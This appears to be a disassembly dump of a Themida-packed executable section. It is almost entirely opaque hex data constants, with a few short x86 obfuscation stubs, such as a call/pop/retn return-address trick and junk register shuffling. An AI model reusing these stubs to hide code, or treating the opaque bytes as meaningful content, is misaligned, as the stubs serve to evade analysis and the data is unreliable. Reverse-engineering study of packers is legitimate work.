dd 784B808Fh, 7E0FD80Dh, 0FB935C91h, 1D45514h, 9DF2F5F6h
dd 814A2FC2h, 0CDB5020Dh, 47DFC7C8h, 1A67A8E6h, 0ECDB4BDh
dd 0F2711306h, 26E5F049h, 0A2EF206Dh, 0C8B8409h, 0EBAC9CF7h
dd 9F0FD67Bh, 8900000Ah, 21BA0708h, 0BE57A46Bh, 5DF643CCh
dd 0F790DD32h, 3C2C7996h, 0F7187579h, 957A11AAh, 2EE1AF48h
dd 0C94648E1h, 4B53A27Ch, 4DF76D3Ch, 728C623Fh, 0EA7F41Bh
dd 8C428F80h, 979F1C72h, 47DF5FF0h, 5E1D8893h, 53D5A3DDh
dd 342A4ACCh, 816C2CCh, 0BDD2339Eh, 11DABF52h, 0AE45927Dh
dd 4EEh, 0C0A5AE18h, 6981F901h, 0BC7549F1h, 35083DD2h
dd 1A4F5AA2h, 8B0672F3h, 0F1C4C3F0h, 0CA5D2A32h, 131E4DF1h
dd 0CA6B2080h, 6C884DF1h, 95A61E75h, 217324AEh, 0C5000002h
dd 0DF5F6123h, 5934ED47h, 0D73855B6h, 7F666F44h, 7B92A9C0h
dd 0DF601473h, 0AC5C6747h, 47DF5FDBh, 0AA0A9DA8h, 49F75956h
dd 0E69F5E69h, 91A867A8h, 0F762FE89h, 117C7D4Dh, 8BF6C9FEh
dd 17AA652Ah, 20D811Ah, 17028A43h, 0FB309B74h, 23B09528h
dd 646C2B1Ah, 50097972h, 92CB4A55h, 80EDB24Ch, 9A014DBh
dd 78A0000h, 6A22BB08h, 0CBBF58A5h, 315EF744h, 95F891DEh
dd 783D2D7Ah, 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h
dd 3B4C54A3h, 484DF76Eh, 1C72956Bh, 147B34F3h, 60F3C6FBh
dd 3DDCB27Bh, 1E53BE51h, 0AEDF983Fh, 5F82CE61h, 0F8470A84h
dd 14ECFE2Fh, 1B105DC8h, 22BC45BBh, 15B70h, 1C72C200h
dd 99F5BEF3h, 0E9266922h, 5631E1B4h, 2547DF5Fh, 562AF1Ah
dd 4E5615FCh, 49F18D40h, 2079F20h, 0F83DBCEFh, 81541D65h
dd 0F428755Eh, 0C489F0CEh, 12C3A29Bh, 315A72A7h, 894DF1CAh
dd 0D6B1B902h, 0A54DF1C9h, 69FA2F9Ah, 0DC8F4367h, 1777D83Ah
dd 192DC3F8h, 0CFEB13C8h, 0CCC07912h, 0A83B0E43h, 0AE035B3Bh
dd 30A22324h, 6C9DC644h, 39A46B21h, 43A4A6h, 0AEF60000h
dd 4DC2CAA5h, 6E148824h, 91FC6AB8h, 9CA4BBD2h, 47DF70EBh
dd 9AFA8D98h, 49F1902Ch, 31B505Bh, 4DF18F88h, 0FB924F6Bh
dd 24AECE9Bh, 9750h, 424A6100h, 4DF19B45h, 0C3CA2B36h
dd 0B144174Ch, 0F31C7283h, 7798F5BEh, 818EFFB8h, 61E209EEh
dd 0A74D0FA9h, 0E3AC0D65h, 688992Ch, 830BD409h, 8F483F8Ch
dd 1C7C0F00h, 47DFB469h, 79C64945h, 6F2E131Ch, 0F261B267h
dd 0C7869149h, 43907F0Eh, 0AD2CE3AAh, 0EBACAC82h, 3704CB70h
dd 21000008h, 0B9529F70h, 56EF3CD3h, 0F58EDB34h, 8F28759Ah
dd 0D4C411FEh, 8F800DE1h, 2DE2A942h, 0C64947E0h, 61AEE079h
dd 0E3EB3A14h, 4DF76FA4h, 7224FAD7h, 0EA7F41Bh, 8C428F80h
dd 0BEF31C72h, 297699F5h, 2A192h, 9CA4BB00h, 47DF5FEBh
dd 0CCFA8D98h, 1C0A5AEh, 6CCD4248h, 0E8BBF01Fh, 16CFE655h
dd 0CFD79679h, 47DF5FB8h, 0CD2DC0CBh, 49F7595Dh, 10285D68h
dd 4DF7627Bh, 0E855C78h, 24A4FDB6h, 24C63h, 6123B500h
dd 0ED47DF5Fh, 83B85734h, 0B7823FF2h, 93FE00B6h, 3D222B00h
dd 91300150h, 12A5A2C6h, 434B72A7h, 47DFAB44h, 60C12C37h
dd 0B675E02Fh, 0B2AA4435h, 8AB31F01h, 7CC9452Dh, 36A53837h
dd 0F837042Eh, 0E9A8B349h, 9C7319D2h, 0F0019467h, 8B24719Eh
dd 364D0C03h, 3792BFB5h, 0C2726642h, 4DF76BC5h, 3318ABB6h
dd 0F9B89DA6h, 981E5F1h, 5228A950h, 94C5A4C9h, 9145CEFh
dd 0B262A78Ah, 3F06ABEDh, 72Ah, 45927D14h, 0E22FE0ACh
dd 81CE4149h, 1B68A7E8h, 0B7040B82h, 8D00EEC7h, 0EF9C3582h
dd 563AD320h, 0BBD36CB9h, 0DE2D0754h, 0F770B1D6h, 1FF5D24Dh
dd 0BEF31C72h, 417699F5h, 0E803DE62h, 271C69A6h, 22BCFEAFh
dd 0E435560Fh, 0C5FA65AAh, 725D5FF2h, 0AF000001h, 8DFD1C72h
dd 19E21782h, 564D9A75h, 5F50373Fh, 34A247DFh, 85E4C293h
dd 9A2D38D0h, 16D5BCC5h, 0F1B8800Eh, 1D5FE049h, 175CD991h
dd 727DC558h, 1D66253Dh, 4E8D4DF2h, 101450CDh, 0F21A7F08h
dd 0C8F1FC4Dh, 12A5150Fh, 0F1721BC6h, 11C7AC2Fh, 40474F0Ah
dd 434DF210h, 216CCD38h, 53E6B9EEh, 0AE52EEE6h, 313B24h
dd 0AE8D0000h, 4801C0A5h, 0C534C748h, 0F17F09BDh, 36A36C49h
dd 2282C063h, 7A92C732h, 4DF22911h, 741BC6E2h, 24AE371Ch
dd 0BEC9h, 6B21DA00h, 72E311A4h, 0F5BEF31Ch, 1B427798h
dd 0F792FF9Ah, 2A8B4829h, 0A1BAE61h, 8D568B84h, 0D9C10E01h
dd 47E0BFDCh, 36838C02h, 9FEBD0D9h, 0FD683B70h, 1405853Eh
dd 8E619679h, 881BEE23h, 0E3EB0219h, 47DFF3A4h, 0D939CCD7h
dd 49F29640h, 3E55141Fh, 75080785h, 66282964h, 0D7DD9059h
dd 0F51A76D7h, 0E9A43D8Ah, 2794A726h, 19BEEBACh, 5CD52h
dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h, 0A76825BEh
dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h
dd 720E7981h, 906D4DF7h, 0F41B72BAh, 8F800EA7h, 0A47517D0h
dd 89BE29E6h, 0FF17F7F8h, 0AA15C29Fh, 72641A17h, 0F5BEF31Ch
dd 36B77699h, 0F4FBCDFBh, 0AEBA02AFh, 0D1D1E33Ch, 3FD6D366h
dd 16h, 0F31C72A9h, 7699F5BEh, 4A97AB41h, 0D320EF9Fh, 123Ch
dd 1C72A600h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h, 72FBB1FEh
dd 341A351Ch, 0EB5CC9DCh, 0A2AAC180h, 47DF62E5h, 0F1ACD96h
dd 0A8C10CDCh, 38C5AA3Dh, 7B83422Fh, 49F7C0ABh, 0F910CFDAh
dd 0F7C396F1h, 47DAE54Dh, 8208C1D8h, 5C85588Dh, 0F32CD7CAh
dd 1D2EC167h, 0B8519E71h, 0F97A39D6h, 0A0E50D11h, 9C811453h
dd 601F060Fh, 13FC9049h, 0E1AA0BDEh, 9326F92Eh, 10525E33h
dd 83424D50h, 0FE4BC4CAh, 0B1E62965h, 77361B24h, 28E7A760h
dd 2D8D20F3h, 49F27745h, 5FE66570h, 73EBAABEh, 4B007CEh
dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh
dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h
dd 2B5C64B3h, 584DF773h, 1C72A57Bh, 0BB8EB35h, 65C6C7EEh
dd 0DEB1E629h, 18D2673h, 3B4DBB50h, 0A5103DA4h, 0C0C7CFE6h
dd 0C347E043h, 774025B8h, 0E4C3F817h, 28668160h, 2DA59AE7h
dd 0FA22BC1Ah, 5Ah, 0C0A5AE4Ch, 5F31EA01h, 43BD1DB0h, 6E49F1AEh
dd 0A5EBA463h, 0B2AAB6Ah, 32DDB348h, 0D33BE109h, 325B4340h
dd 884DF242h, 45CC4B06h, 70B1442Ah, 0B6DEA9B1h, 929D4DF1h
dd 49516827h, 4DF1B73Eh, 0C0F51A74h, 0B74A55EDh, 0A06F21BAh
dd 0A76828E1h, 270C9F72h, 3ED60h, 9314CA00h, 0DE8D3569h
dd 1B75D66Dh, 59ECBFF4h, 0B9D34648h, 0E34E2156h, 66A9E5AEh
dd 0CEB3BC19h, 0A087070Fh, 0F3FE49F1h, 9AE5A6BEh, 0F20E4DF1h
dd 0D93898EFh, 30ED24AEh, 3F000000h, 1C0A5AEh, 0F17ECDF9h
dd 34581149h, 40D3A6DBh, 0A0B8EDF8h, 4DF180EBh, 9EF5EC08h
dd 24AEDF26h, 120F3h, 0BC830400h, 153F3AA1h, 14B4E275h
dd 8088335Bh, 47DF6007h, 6BFE6974h, 0A8E5345Ah, 88F31C71h
dd 0A0DD5E1Dh, 0CDEB56DAh, 2358B7D3h, 6D52E550h, 0F126E9A4h
dd 0DCB36628h, 0D3B0D7DFh, 0C8D347DFh, 0F4BDF25Dh, 0FDB6759Ah
dd 9068693h, 0BAE4759Eh, 0BF8CF512h, 1E472F2Ch, 5C47DF8Eh
dd 9990DD32h, 0D063ACE0h, 8140CFBFh, 0B74AC5C8h, 13C45D2h
dd 0DF968EF9h, 77E2ED47h, 8FA6B0B8h, 61149F1h, 10FF8E47h
dd 1A23807Dh, 59615A35h, 4DF1952Eh, 0A2D7424Dh, 9DA564CFh
dd 5004387Eh, 0E32C6465h, 0B170DBAEh, 0F7F5929Ah, 7B8647E5h
dd 0CDC079E8h, 315CF542h, 0C1E85FDEh, 45EAEDBEh, 2CD7Eh
dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h, 0A76825BEh
dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h
dd 750E7981h, 906D4DF7h, 0FE1B72BAh, 6922838Ch, 657C3BA6h
dd 0DF602A5Dh, 0BB4E5947h, 7D0EC7BEh, 5F51363Eh, 273247DFh
dd 586087BCh, 47DF602Fh, 43D6414Ch, 66B35C32h, 599314B0h
dd 9DC79D51h, 61262EEDh, 2247DFA3h, 0A6AF8417h, 0CEF800BFh
dd 3949F1C2h, 19D2F92Eh, 3C639877h, 0F1C45334h, 0BA25304Dh
dd 0C4C4C727h, 99F64DF1h, 13784176h, 0C4E7A0A8h, 89944DF1h
dd 3F53E91Eh, 0F9153DA2h, 9B21A1E8h, 9AF624AEh, 48000000h
dd 0BEF31C72h, 0F788097h, 6C47DF60h, 0D0BDCE61h, 73F20A3Fh
dd 0B747DF5Ah, 52EB38D7h, 119ED33Ch, 525A1908h, 49F15D04h
dd 3E9BE8F3h, 89915035h, 50040835h, 0AFC68590h, 0BF79098h
dd 798447E6h, 57B8D5E6h, 0FD1C710Ah, 76497E91h, 0F5B18C0Bh
dd 1CC1EDBEh, 1C155h, 29E6AB00h, 0C64943DCh, 65AAE079h
dd 0FF107F18h, 9B7419B2h, 97575E4Eh, 33CC19F6h, 0D16AB758h
dd 6A0350BFh, 0C49EEB24h, 761A6D75h, 8C694DF7h, 0F41B72B6h
dd 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0F31C7249h, 0B899F5BEh
dd 2024ABD2h, 6A2994E2h, 0E83C4B53h, 3E3F47DFh, 2952BD52h
dd 0DCA35553h, 4845D84Ah, 0FB30DFAFh, 608453D4h, 49F11772h
dd 0DFF64641h, 0BF2A3547h, 674E572Ch, 0A02A0A8h, 0E2ED49F2h
dd 0C81905ADh, 858A06BFh, 62ADE1F2h, 0C2AFB815h, 0D5068203h
dd 1A379AF0h, 72101887h, 3D500449h, 5A34FD32h, 533DF6B5h
dd 53B487BCh, 0D0A3D837h, 0AEC2583Dh, 6EBF433h, 11193047h
dd 47E02C76h, 767FA05h, 49F2387Bh, 0C7803F4Ah, 44174CC3h
dd 731BB4B1h, 0F29E679Ch, 5440E81Dh, 8F2C628Dh, 255AB5D6h
dd 3DE5A252h, 8B964DF2h, 6D76D320h, 0E1C1C988h, 0CC500450h
dd 0CBC38CC1h, 0C1CC8544h, 0B346194Eh, 898605CEh, 0C038B54h
dd 6D74F8D7h, 954C3878h, 0E9A88D96h, 0F234C1E1h, 666E8549h
dd 4DF23E21h, 71419962h, 0B0C304B5h, 5F6AB245h, 0C5ACB512h
dd 1FD8EF06h, 9C6FA46Bh, 0F1C89BECh, 0CEB9C14Dh, 0AD4DF1C8h
dd 0A3AB0AA2h, 4DF1C8E4h, 8E218C97h, 9C1672Eh, 0C414C50h
dd 0BFCE4B43h, 0DD481B50h, 7897F790h, 0A7ED2B43h, 263A2390h
dd 0B15E30BBh, 4CC3CB64h, 0D8414E17h, 0BAEF5AB5h, 0D2BB2612h
dd 759E7119h, 8A1478E2h, 86972A95h, 927D1108h, 9BBCCBD3h
dd 0B4BF6421h, 0EE05FC49h, 219BA1E6h, 44D7E264h, 0D1BE5B33h
dd 0CB36093Eh, 8CF96h, 14390000h, 4ADD325Bh, 1F72FBE9h
dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h, 3784h
dd 68243489h, 6DFh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h
dd 2C895C24h, 97BD5524h, 814B7969h, 9E9AF1C5h, 5D5A55BAh
dd 453D68h, 24248900h, 4240483h, 6D75685Dh, 14890000h
dd 8458F24h, 57242C8Bh, 0C781E789h, 4, 8704C783h, 0FF5C243Ch
dd 835A2434h, 0E6E904C4h, 5EFFFA67h, 0ADB8AC20h, 3061818h
dd 0D8E0FFC5h, 0FF1BF4D9h, 0E83F203Eh, 0C234E43Eh, 6F0EDF33h
dd 3B0C2250h, 720AA11Dh, 0CF49D878h, 541D9580h, 6B2D2A12h
dd 5749D2DEh, 8D7E12CDh, 181A0A8Dh, 0D488BB06h, 8D897E63h
dd 6122DCDh, 0C7D78B66h, 1231BD85h, 67FC06h, 85C7F900h
dd 6120011h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5DD45F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DD45F proc near ; CODE XREF: Themida_:005DD457p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5DD45F endp
; ---------------------------------------------------------------------------
db 27h
dd 6C59C8B8h, 0E7031C64h, 41B5FFD4h, 6A061208h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 31BBC355h, 2FB99D89h, 95FF0612h, 6122781h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 53C35141h, 0A66C33A5h
dd 0FE95Eh, 15170000h, 28B2AD87h, 1E06CE35h, 15C5912Dh
dd 0FF006AADh, 1229D195h, 0EBC08B06h, 215A2A1Ah, 0D15E9D00h
dd 57B10B9h, 6D8F10EDh, 0B0C9DB11h, 59B3CA29h, 0E97617B5h
dd 31h, 193DAF80h, 2540000h, 0Ah dup(0)
dd 0C41E900h, 28680000h, 0E906181Ch, 0FFFB2D32h, 181D0F68h
dd 2D28E906h, 0C368FFFBh, 0E906181Eh, 0FFFB2D1Eh, 181F8068h
dd 2D14E906h, 6A68FFFBh, 0E9061820h, 0FFFB2D0Ah, 18220B68h
dd 2D00E906h, 0C268FFFBh, 0E9061822h, 0FFFB2CF6h, 18240C68h
dd 2CECE906h, 0B68FFFBh, 0E9061825h, 0FFFB2CE2h, 387EDA57h
dd 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h, 7F00BEE4h
dd 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h, 0F8287A89h
dd 0FE2F8021h, 1D419715h, 0BFA9B837h, 0AFBA01ABh, 0B486196Bh
dd 53D1DF52h, 1891AFF5h, 0FE478CD0h, 198327E0h, 915FA3C7h
dd 7421F2D1h, 53B50B8Eh, 0AE04882Eh, 925DC95Ch, 6EDE0EAFh
dd 0F36F1BDCh, 325AF759h, 0A76172B6h, 0FF69DE0Eh, 67369Dh
dd 7F9D0000h, 5BBD1B99h, 6A8E3475h, 0F2139026h, 65F86221h
dd 0F20145C1h, 0F8DE0DECh, 97602C8Eh, 0ADE0DECh, 1F75F587h
dd 0D568BA8Ch, 0ECE6ED31h, 7AE4DE0Dh, 446CECh, 0DE0DECF3h
dd 0A83B8DF7h, 0EA8C73FDh, 87CB47C3h, 0DE0DEC7Ch, 0EC885B9Fh
dd 0E852DE0Dh, 0BDD739A3h, 5886EFAh, 0AD294DAFh, 895AF81Ch
dd 0CFh, 419715F0h, 8D1FA0AEh, 4D1FB20Ah, 0DC5A68FBh, 0C5F694C3h
dd 8AE2EB41h, 3ACD1F77h, 1258AE2Ch, 166CF0D6h, 1DB00688h
dd 1F1DE94Bh, 9427E02Fh, 3E7AC016h, 332D7DDDh, 0BD1F6A0Ah
dd 0E477D14Fh, 55794B5Eh, 0F2ECF311h, 89CF3921h, 587C3E6Bh
dd 0F84B98DCh, 0C246DE0Eh, 0C207D96Ch, 0AEF2F658h, 0D81A5528h
dd 1167E5CBh, 0FC208AAFh, 0AE419716h, 90767ADCh, 0CD73B90Fh
dd 699BF44Ch, 0EFF5AD8Ch, 9C8FFECh, 70ED0000h, 0A82CD218h
dd 0E6660C52h, 25A44A90h, 62E389CFh, 2082C006h, 79BF199Ah
dd 0B2F850D3h, 0EE348A0Ch, 266CCA48h, 0D41F63EFh, 1621F82Eh
dd 941594C5h, 60AE1E85h, 7594FCCh, 3B9D1BC1h, 7458B9F5h
dd 58252A19h, 9DEDCE30h, 4E92B60Ch, 21F213C8h, 218D208Ah
dd 0DE0DECD6h, 4FD0B632h, 329466F9h, 27A35718h, 665AF81Dh
dd 0E1B59F05h, 8A0E4FDDh, 1980E234h, 0CCh, 41971580h, 8D1FA0AEh
dd 4165B70Dh, 6A4DB4E0h, 107286E7h, 0CF6B319Dh, 2C1227E0h
dd 86F456ACh, 0C268AE08h, 0C94FE244h, 3AB6DAE0h, 0E0C6EDF6h
dd 2183ED27h, 0CD3BD91Dh, 970121F2h, 44763351h, 5DBB3A20h
dd 0E53BBCCAh, 0CC2E8052h, 728384C8h, 56FD81Ah, 1E7AFBE1h
dd 38B69CD8h, 8D0E7CDEh, 0AE3EDA33h, 0B1B4F5ADh, 8E1C4h
dd 2F890600h, 69BF43E9h, 0A7FD7D23h, 0DC3CBB61h, 196FF096h
dd 0B10D95D3h, 0EC92D830h, 27CD1369h, 5F054BA5h, 0A4187E1h
dd 2FA93A7Eh, 0E03121F8h, 6A9415AFh, 0E032DD26h, 47AB5927h
dd 0EB252275h, 0C6EA3CA6h, 0BBFD064Ah, 93FD27E0h, 0BBD82B6Fh
dd 0B82227E0h, 0C8A3056h, 20A086AAh, 213A60C2h, 0AE419715h
dd 7EC422A0h, 4F734960h, 0F216590Bh, 0A639A321h, 3BB4A102h
dd 6C788BCFh, 1882DE0Dh, 4BAAFE0Fh, 9BFD7BE9h, 0D731AF55h
dd 0E72ED844h, 7C06594Bh, 0C9492FBBh, 0A406D86Bh, 185EB836h
dd 1A74F6DCh, 2ECC4AB8h, 6F0254AAh, 47E1F503h, 0D92FAE55h
dd 5EB43846h, 3EBD4FD0h, 530194E6h, 0EF4CEED1h, 9614EACDh
dd 0B7361C40h, 9AFCCE61h, 0D2523874h, 158043BDh, 0BC0EE201h
dd 87F55729h, 0B01CAF09h, 0AAB848DAh, 0E97CD457h, 45C359DBh
dd 2C7E50E3h, 46292B99h, 4ECAB6A4h, 47B7F90Ah, 28E00155h
dd 0BF2F06DCh, 1C3698EAh, 0EB6ECF5Bh, 5ABC3AB6h, 1FECF5C7h
dd 0D644A692h, 12B8FE58h, 920E3294h, 4733854Eh, 79DB4555h
dd 93298006h, 26DD2B6Fh, 0B51F5355h, 2D11591h, 0C84B74DEh
dd 0B8D6FC5Eh, 63A7CBF1h, 4D66D07Dh, 9E42D53Fh, 7DDF35B8h
dd 62EF27B1h, 4E31C341h, 1E74F4DAh, 0EF2DB6FAh, 43AD4162h
dd 1941BDE1h, 9A80EE63h, 5527BA1Ch, 5DF048C7h, 65C2298Bh
dd 29000004h, 0E0322CB7h, 22F80727h, 6C5327E0h, 87D81FC1h
dd 0D81FDE78h, 0A6CAF0B9h, 0DF92C62h, 6FB32FDEh, 0DE0DF664h
dd 759AFC66h, 555CB20Bh, 0EFF2FF9Ah, 72D02h, 73D55200h
dd 0AD03872Dh, 0E341C167h, 2078F79Dh, 5DB334DAh, 0F5C9D917h
dd 30D61C74h, 6B1157ADh, 0A3498FE9h, 467DC325h, 2C6D76BAh
dd 1C6D21F8h, 419715EBh, 3B8128AEh, 2836D317h, 0B81921F8h
dd 7153CC8Bh, 3F64C6FEh, 4ACBB1D5h, 2A668CEEh, 0A6CC244h
dd 75344834h, 33AF2B4Fh, 7ECE4EFh, 1A7CE6DEh, 15F9404Eh
dd 5D9802D8h, 54C6F541h, 95F3B67Bh, 476BBD13h, 86897503h
dd 0E90D7765h, 8DD7688h, 43A5BD90h, 5D5F4AD0h, 29A2F539h
dd 0F301F90h, 0C05A6304h, 47C75588h, 3A8C5EF1h, 8D569A16h
dd 4D1FAFD9h, 977D81E3h, 0D379BF19h, 4A9AF355h, 103E387Ah
dd 670200Dh, 18950000h, 50D47AC0h, 8E0EB4FAh, 0CD4CF238h
dd 0A8B3177h, 782A68AEh, 2167C142h, 5AA0F87Bh, 96DC32B4h
dd 0CE1472F0h, 3CC70B97h, 0BE21F82Dh, 997F3C6Dh, 785EC018h
dd 0EB678B31h, 0D1FE8D8Ah, 614DFBF8h, 27E09192h, 888CEE58h
dd 0F2B51E44h, 0DF72DC21h, 62F553D1h, 0E87BD154h, 6AFD5BDAh
dd 0EF82D85Ch, 4A2D2F1Dh, 34FB85B0h, 0DF39BAA0h, 0B012977Dh
dd 681A488Ch, 76E0D81Ch, 6BA32C30h, 0C440D43Ch, 3C6B7380h
dd 0AB0D77D4h, 3C6B14DFh, 2E9415D4h, 0B94A8E0Ah, 41D43C6Bh
dd 3D5BCED7h, 0DF3C522Fh, 9835797Dh, 5AD224B7h, 0B52532B4h
dd 549B0B5Ch, 0E9BB4EA0h, 0EA7DDB5Bh, 0C733C618h, 0CA24753Fh
dd 0E678FCE2h, 0A87A0D63h, 0CDF1C356h, 24757A89h, 0B41680CAh
dd 0DB8AE0E8h, 0B5139135h, 0B3D69E5Ch, 0E0CDD0EBh, 586h
dd 84CA2EABh, 0BE045ADEh, 0F43A9818h, 3379CF4Eh, 6EB40C8Dh
dd 0CB4C7230h, 6892F75h, 40C268AEh, 7CFAA0E6h, 119DD41Ah
dd 0F81206CDh, 4273C421h, 92B60C9Dh, 3B63631h, 0C0922583h
dd 3ED91DB7h, 0B41668BEh, 6C516CB0h, 0CCB221F8h, 0BC60F349h
dd 8186B78h, 0B3056FDEh, 2FC22C51h, 0FF45A321h, 62F5C7E1h
dd 3A80D654h, 0A2091694h, 0AE32BCB8h, 6876095Bh, 82688CEAh
dd 0D144A600h, 8202E8F4h, 5DBF9124h, 7E7C43h, 880460A6h
dd 665AFD09h, 180h, 0B60C9DCDh, 27804E92h, 64221F2h, 0DD931C2h
dd 397DB9DEh, 0DE0DD9AAh, 2274C630h, 0B53E82FEh, 35DE0DD9h
dd 8AF669CBh, 0DE0DD97Fh, 0F6624567h, 45EC1395h, 668C62Fh
dd 0F338920h, 1F613DCBh, 79FAE0D8h, 58BA8C1Fh, 0DD83C933h
dd 6876095Fh, 28468CEAh, 0D3173B81h, 0D2292C05h, 5ECA5DC7h
dd 0CA293091h, 6E1ADD6Fh, 671CF4F2h, 2DD0h, 0C9D3700h
dd 3253A0E4h, 2D9727E0h, 36C91F9Fh, 0AAEE1264h, 21F21314h
dd 7DE97CE6h, 0DE0DED72h, 8F3BFC8Eh, 5AF81C13h, 0B0EFh
dd 97155600h, 1FA0AE41h, 0AA2836C9h, 0E6388E10h, 35C74553h
dd 0F7C95CB4h, 0A7235FA5h, 0E0329063h, 8EF05A27h, 0E036F8C2h
dd 5DBB3927h, 6A79BD39h, 70D81FC9h, 0A0F67806h, 0B3D93B0Dh
dd 0BD291677h, 0ED59606Dh, 0BE04A58Bh, 0A3FF569Ah, 55BFDE0Bh
dd 6ECA4B31h, 50E2644Ah, 14E679CFh, 943A60C2h, 0A3018113h
dd 2C4F851h, 7B7EFF9Dh, 3E58Eh, 2B8D0A00h, 65BB3FE5h, 9BF9791Fh
dd 0D830AF55h, 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h
dd 5B0147A1h, 0FE357BDDh, 10A52E72h, 0D42521F8h, 16997FA3h
dd 0F7592BBEh, 6AB00889h, 0AAF046C4h, 5971591h, 196FF084h
dd 0CF62B486h, 7418ABFDh, 369012F8h
dd 1EE5D1A3h, 0DC27E032h, 32975CA0h, 0E95327E0h, 49C73597h
dd 0C6DA9EFh, 87B9EEBh, 0CAAB0D60h, 0E0B228B7h, 61E5CB27h
dd 12DDA90Bh, 0F1D81FB2h, 0CB2D8B0Bh, 0DAFEC4E5h, 7A87B96h
dd 9715BBDEh, 0C60AAE41h, 0DE07543Dh, 0AF0153BDh, 0B113961Ch
dd 67BF498Dh, 0D33DD815h, 0A2A14C7Ah, 0E2CFD2F5h, 32Eh
dd 2C72D653h, 66AC0286h, 9CE240C0h, 0DB2177F6h, 165CB435h
dd 73F4CAD8h, 0AE31D71Dh, 0E86A1056h, 24A2488Eh, 0B9457CC2h
dd 0F8106E75h, 0EA1B6C21h, 0BB19997Fh, 0F759AF2Dh, 1AAD0B89h
dd 0F2388E0Ch, 33B3D5D4h, 0E35F83D5h, 372379FDh, 27E032ACh
dd 5E62C42Eh, 0F21DCC1Ah, 11A40E21h, 0DE35AA5h, 78D04FDEh
dd 157D7E5h, 82E0606Eh, 2D2F1DEFh, 0F789B04Ah, 26088430h
dd 31E65AF8h, 4D000000h, 92B60C9Dh, 0F213C84Eh, 66E48A21h
dd 0B49ABE10h, 77ADC32h, 37CA0263h, 0D5B740A8h, 1758A773h
dd 26B8DE0Dh, 0D639B541h, 0F2155AF8h, 7C000000h, 1D419715h
dd 32965DA1h, 0EA5427E0h, 8B711588h, 0D6D4F70Ah, 0FCBB398Ah
dd 0E34517AAh, 99CF475h, 881B7DFBh, 549AFC7Ah, 0E0134A50h
dd 1D49C727h, 0C85BB537h, 12F90AF6h, 38B827E0h, 307547DAh
dd 1223B0F4h, 3DA727E0h, 85DB5DEBh, 4F930F33h, 27E01284h
dd 0C321A046h, 43E90F71h, 4AD063C5h, 42A2215Fh, 0C688CCF0h
dd 3421F210h, 436684CAh, 0BE195D81h, 7CD81A81h, 8708EE12h
dd 33AFEB31h, 3942E4EFh, 0EE7CE6D4h, 49B7196Fh, 371770C8h
dd 0B5F5AEE2h, 1E4C5B2h, 8C090000h, 0BC40E62Ch, 0FA7A2066h
dd 31B0569Ch, 66E78DD3h, 1C86C40Ah, 7DC31D9Eh, 0B6FC54D7h
dd 0F2388E10h, 3278CE4Ch, 0D82B6FFBh, 2221F816h, 997FA0D1h
dd 5628BB19h, 0AB0586F4h, 1120A187h, 2164820Ah, 0C75AACA2h
dd 0C76D93F5h, 6ACBEF49h, 0CAC1B4FDh, 0D3F95BF7h, 0B60C9DBAh
dd 0AD301692h, 90F2C457h, 0F21372C4h, 3960021h, 0DED4897h
dd 5116A8DEh, 0F81C29A5h, 0BC055Ah, 7F6C0000h, 0E2B38C1Eh
dd 0F95BA7CEh, 0ED6F0D8Bh, 0AAE4193h, 54660AA9h, 644C2D8Ah
dd 89A8B143h, 0BC2A8CDAh, 0DBC1E53Bh, 279AFC5Ch, 0E0F3E1BBh
dd 52B43227h, 8EE8660Ch, 8E3475FBh, 0F060266Ah, 2CD221F2h
dd 254F58AEh, 90B7BB42h, 0F26E92E4h, 0E3625AEh, 173BA5DEh
dd 0E3600D3h, 0FE60CADEh, 0CDEFBAD8h, 9C8B65A9h, 0FF69D81Ah
dd 1C74F5DBh, 34B49AD6h, 8D0E7CDEh, 0CBF8DA33h, 7B7EF5AEh
dd 0E58Eh, 2B8D0A00h, 65BB3FE5h, 9BF9791Fh, 0D830AF55h
dd 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h, 5B0147A1h
dd 0FE357BDDh, 17A52E72h, 0D42521F8h, 3C9415A3h, 74D250F6h
dd 9715152Eh, 0A90AAE41h, 0C4F6A4A8h, 0A83B7F96h, 3227E0C8h
dd 0A61476C8h, 4C88CE28h, 0C8478CD0h, 198327E0h, 0E2D8D1B7h
dd 0D2437ABEh, 7A9B21F8h, 0DBCA8794h, 790C5ECBh, 126EEFD5h
dd 90C442B0h, 802874Ch, 87D943DEh, 0BB1D9B41h, 0D830B197h
dd 795F0376h, 6D399BF9h, 0C12D8B30h, 7F7D42CCh, 0CA20F001h
dd 784DDFFEh, 2263AF34h, 6FC12BFDh, 0B60860E1h, 0EA4CCA70h
dd 95FE0C6h, 0CF42A476h, 4FE242C1h, 2F0DF2CCh, 0D51157B1h
dd 63CE1559h, 44C3FD22h, 0D3359FE4h, 0FE91E765h, 0D11h
dd 37F4800h, 0E03234BFh, 0EA4CB627h, 981581F2h, 219FAD40h
dd 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h, 0B63543D6h
dd 3DBDCB5Eh, 0C24654E7h
db 6Ch, 0D9h, 22h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
